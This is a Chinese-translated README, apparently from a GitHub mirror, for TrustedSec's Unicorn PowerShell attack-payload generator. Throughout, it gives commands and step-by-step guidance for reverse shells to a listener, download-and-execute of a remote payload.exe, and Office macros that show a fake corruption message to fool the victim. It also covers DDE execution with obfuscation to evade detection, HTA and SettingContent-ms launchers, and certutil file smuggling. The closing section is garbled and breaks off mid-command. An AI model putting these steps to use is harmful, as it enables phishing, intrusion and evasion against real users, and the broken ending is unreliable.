trustedsec/unicorn
GitHub: trustedsec/unicorn
TrustedSec 出品的 PowerShell 攻击载荷生成工具,用于创建绕过防御的内存注入攻击向量。
Stars: 3916 | Forks: 822
# unicorn
作者:Dave Kennedy (@HackingDave)
网站:https://www.trustedsec.com
Magic Unicorn 是一个简单的工具,用于执行 PowerShell 降级攻击,并将 shellcode 直接注入内存。它基于 Matthew Graeber 的 PowerShell 攻击技术,以及 David Kennedy (TrustedSec) 和 Josh Kelly 在 Defcon 18 上展示的 PowerShell 绕过技术。
使用方法很简单,只需运行 Magic Unicorn(如果使用 Metasploit 方法,请确保已安装 Metasploit 且路径配置正确),magic unicorn 就会自动生成一个 PowerShell 命令,您只需将这段 PowerShell 代码剪切并粘贴到命令行窗口中,或通过 payload 投递系统执行即可。Unicorn 支持自定义 shellcode、cobalt strike 以及 Metasploit。
```
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn Attack Vector -----------------------------
Native x86 powershell injection attacks on any Windows platform.
Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Credits: Matthew Graeber, Justin Elze, Chris Gates
Happy Magic Unicorns.
Usage: python unicorn.py payload reverse_ipaddr port
PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Macro Example CS: python unicorn.py cs macro
Macro Example Shellcode: python unicorn.py shellcode macro
HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA Example CS: python unicorn.py cs hta
HTA Example Shellcode: python unicorn.py : shellcode hta
DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT Example: python unicorn.py crt
Custom PS1 Example: python unicorn.py
Custom PS1 Example: python unicorn.py macro 500
Cobalt Strike Example: python unicorn.py cs (export CS in C# format)
Custom Shellcode: python unicorn.py shellcode (formatted 0x00)
Help Menu: python unicorn.py --help
```
### -----POWERSHELL 攻击说明----
现在所有内容都会生成在两个文件中:powershell_attack.txt 和 unicorn.rc。该文本文件包含了将 PowerShell 攻击注入内存所需的所有代码。请注意,您需要一个支持某种形式远程命令注入的场所。通常这可以通过 Excel/Word 文档,或者通过 Metasploit、SQLi 等内部的 psexec_commands 来实现。使用此攻击的场景和可能性非常多。只需将 powershell_attack.txt 命令粘贴到任何命令提示符窗口中,或者在您能够调用 powershell 可执行文件的地方执行,它就会给您返回一个 shell。除了 Meterpreter payload 之外,此攻击还支持将 windows/download_exec 作为 payload 方法。使用 download and exec 时,只需输入 `python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe`,powershell 代码就会下载该 payload 并执行。
请注意,您需要启用一个 listener 才能捕获攻击。
### -----宏攻击说明----
对于宏攻击,您需要依次点击“文件”、“属性”、“功能区”,然后勾选“开发者”。完成此操作后,您将会看到一个开发者选项卡。创建一个新的宏,将其命名为 Auto_Open,然后将生成的代码粘贴到其中。它会自动运行。请注意,系统会提示用户一条消息,指出文件已损坏,并自动关闭该 Excel 文档。这是正常行为!这是为了欺骗受害者,让他们误以为该 Excel 文档已损坏。之后,您应该能通过 powershell 注入获得一个 shell。
如果您要针对 Office365/2016+ 版本的 Word 部署此攻击,您需要将输出的第一行从:Sub Auto_Open()
修改为:Sub AutoOpen()
并且宏本身的名称也必须是“AutoOpen”,而不是旧版的“Auto_Open”命名方式。
注意:在复制和粘贴到 EXCEL 时,如果系统自动添加了多余的空格,您必须删除变量 "x" 下每个 POWERSHELL 代码段后面的这些空格,否则会发生语法错误!
### -----HTA 攻击说明----
HTA 攻击会自动生成两个文件,第一个是 index.html,它会指示浏览器调用 Launcher.hta,该文件包含了恶意的 powershell 注入代码。所有文件都会被导出到 hta_access/ 文件夹中,其中包含三个主要文件。第一个是 index.html,第二个是 Launcher.hta,最后一个是 unicorn.rc 文件。您可以运行 `msfconsole -r unicorn.rc` 来启动 Metasploit 的 listener。
在使用 HTA 攻击时,用户必须点击允许并接受,powershell 注入才能正常工作。
### -----CERTUTIL 攻击说明----
certutil 攻击向量由 Matthew Graeber (@mattifestation) 发现,它允许您提取一个二进制文件,将其转换为 base64 格式,然后在受害机器上使用 certutil 将其重新转换为二进制文件。这几乎可以在任何系统上运行,并允许您通过伪造的证书文件将二进制文件传输到受害机器上。要使用此攻击,只需将一个可执行文件放在 unicorn 的路径下,然后运行 `python unicorn.py crt` 即可获得 base64 输出。完成后,进入包含相关文件的 decode_attack/ 文件夹。其中的 .bat 文件是可以在 Windows 机器上运行的命令,用于将其重新转换为二进制文件。
### -----自定义 PS1 攻击说明----
此攻击方法允许您将任何 PowerShell 文件 (.ps1) 转换为编码命令或宏。
请注意,如果选择宏选项,过大的 ps1 文件可能会超出 VBA 允许的回车符数量限制。您可以通过传递一个整数作为参数,来修改每个 VBA 字符串中的字符数量。
示例:
```
python unicorn.py harmless.ps1
python unicorn.py myfile.ps1 macro
python unicorn.py muahahaha.ps1 macro 500
```
最后一种示例将使用 500 字符的字符串,而不是默认的 380 字符,从而减少 VBA 中的回车符数量。
### -----DDE Office COM 攻击说明----
此攻击向量将生成 DDEAUTO 公式,以便放置到 Word 或 Excel 中。COM 对象 DDEInitilize 和 DDEExecute 允许直接在 Office 中创建公式,这使得在不需要宏的情况下即可实现远程代码执行。此攻击已被记录在案,完整的说明可以在以下地址找到:
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
要使用此攻击,请运行以下示例:
```
python unicorn.py dde
python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde
```
生成后,将会生成一个包含 Office 代码的 powershell_attack.txt 文件,以及一个作为 listener 组件的 unicorn.rc 文件,可以通过 `msfconsole -r unicorn.rc` 调用以处理 payload 的 listener。此外,还会导出一个 download.ps1 文件(将在后文章节中说明)。
作为应用 payload 的示例(摘自 sensepost 的文章):
1. 打开 Word
2. 插入选项卡 -> 快速部件 -> 域
3. 选择 = (Formula) 并点击确定。
4. 插入域后,您现在应该会看到 "!Unexpected End of Formula"
5. 右键点击该域,选择"切换域代码"
6. 粘贴来自 Unicorn 的代码
7. 保存 Word 文档。
一旦打开该 Office 文档,您就应该能通过 powershell 注入收到一个 shell。请注意,DDE 对字符大小有限制,我们需要使用 Invoke-Expression (IEX) 作为下载方法。由于大小受到限制,DDE 攻击将尝试下载 download.ps1,也就是我们的 powershell 注入攻击文件。您需要将 download.ps1 移动到受害机器可以访问的位置。这意味着您需要将 download.ps1 托管在受害机器能够访问的 Apache2 目录中。
您可能会注意到某些命令使用了 "{ QUOTE",这是一种混淆特定命令的方法,相关文档记录如下:http://staaldraad.github.io/2017/10/23/msword-field-codes/。在这种情况下,我们更改了 WindowsPowerShell、powershell.exe 和 IEX 以规避检测。同时也请查看该 URL,其中包含了一些完全不需要调用 DDE 的绝佳方法。
### -----导入 Cobalt Strike Beacon----
此方法将直接从 Cobalt Strike 中导入 Cobalt Strike Beacon shellcode。
在 Cobalt Strike 中,导出 Cobalt Strike "CS" (C#) 格式的文件并将其保存。例如,将该文件命名为 cobalt_strike_file.cs。
导出的代码大致如下所示:
* length: 836 bytes */
byte[] buf = new byte[836] { 0xfc, 等等
接下来是使用方法:
```
python unicorn.py cobalt_strike_file.cs cs
```
cs 参数告诉 Unicorn 您要使用 Cobalt strike 功能。剩下的就是见证奇迹的时刻了。
接下来,只需将 powershell 命令复制到您具有远程命令执行能力的地方即可。
注意:文件必须在 COBALT STRIKE 中以 C# (CS) 格式导出,才能被正确解析。
这种攻击方式有一些注意事项。请注意,payload 大小会略大于 14k+ 字节。这意味着从命令行参数的角度来看,如果您采用复制粘贴的方式,将会触及 8191 的字符大小限制(这是 cmd.exe 中硬编码的)。如果您直接从 cmd.exe 启动,这将是一个问题;但是如果您直接从 PowerShell 或其他普通应用程序启动,这就不是问题了。
这里有几个示例,wscript.shell 和 powershell 使用的是 USHORT 类型 - 大小限制为 65535 / 2 = 32767:
```
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
```
对于这种攻击,如果您直接从 powershell、VBSCript (WSCRIPT.SHELL) 启动,则没有任何问题。
### -----自定义 Shellcode 生成方法----
此方法允许您将自己的 shellcode 插入到 Unicorn 攻击中。PowerShell 代码将扩大 powershell.exe 的栈空间(通过 VirtualAlloc)并将其注入内存。
请注意,要使其正常工作,您指定给 Unicorn 的 txt 文件必须按以下格式排版,否则将无法运行:
0x00,0x00,0x00 等等。
还需要注意的是存在大小限制。PowerShell 命令的总长度大小不能超过 8191。这是 Windows 中命令行参数的最大大小限制。
用法:
```
python unicorn.py shellcode_formatted_properly.txt shellcode
```
接下来,只需将 powershell 命令复制到您具有远程命令执行能力的地方即可。
注意:该 TXT 文件必须正确格式化为 0x00,0x00,0x00 的形式,并且除了您的 SHELLCODE 外,不能包含任何其他内容。
这种攻击方式有一些注意事项。请注意,如果您的 payload 本身尺寸较大,它将无法装入 cmd.exe。这意味着从命令行参数的角度来看,如果您采用复制粘贴的方式,将会触及 8191 的字符大小限制(这是 cmd.exe 中硬编码的)。如果您直接从 cmd.exe 启动,这将是一个问题;但是如果您直接从 PowerShell 或其他普通应用程序启动,这就不是问题了。
这里有几个示例,wscript.shell 和 powershell 使用的是 USHORT 类型 - 大小限制为 65535 / 2 = 32767:
```
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
```
对于这种攻击,如果您直接从 powershell、VBSCript (WSCRIPT.SHELL) 启动,则没有任何问题。
### -----SettingContent-ms 扩展方法----
首先,如果您还没看过,强烈建议您去阅读 Matt Nelson (enigma0x3) 发布在优秀的 SpectreOps 博客上的文章:
https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
此方法使用了一种名为 ".SettingContent-ms" 的特定文件类型,它不仅支持从浏览器直接加载(打开 + 命令执行),还支持作为扩展类型嵌入到 Office 产品中。这里我们将专门针对 Unicorn 的 PowerShell 攻击向量中的扩展类型设置,以实现命令执行。
此攻击向量支持多种方法。由于此攻击的字符大小有限制,因此部署方式采用的是 HTA。
要详细了解如何将此攻击武器化,请访问:
https://www.trustedsec.com/2018/06/weaponizing-settingcontent/
要完成此攻击,您需要通过独立文件或 hta 方式生成您的 .SettingContent-ms 文件。HTA 方法支持 Metasploit、Cobalt Strike 和直接的 shellcode 攻击。
以下是四种使用方法:
HTA SettingContent-ms Metasploit: `python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms`
HTA 示例 SettingContent-ms: `python unicorn.py : shellcode ms`
生成 .SettingContent-ms: `python unicorn.py ms`
第一种是 Metasploit payload,第二种是 Cobalt Strike,第三种是您自己的 shellcode,第四种仅仅是一个空白的 .SettingContent-ms 文件。
所有内容生成完毕后,它会导出一个名为 Standalone_NoASR.SettingContent-ms 的文件,该文件要么位于默认的 Unicorn 根目录下(如果使用独立文件生成模式),要么位于 hta_attack/ 文件夹下。您需要编辑 Standalone_NoASR.SettingContent-ms 文件,并将:
REPLACECOOLSTUFFHERE
替换为:
mshta http://: shellcode ms
python unicorn.py ms
```
标签:AI合规, DNS 反向解析, IPv6, OpenCanary, PowerShell, Shellcode注入, 攻击载荷生成, 逆向工具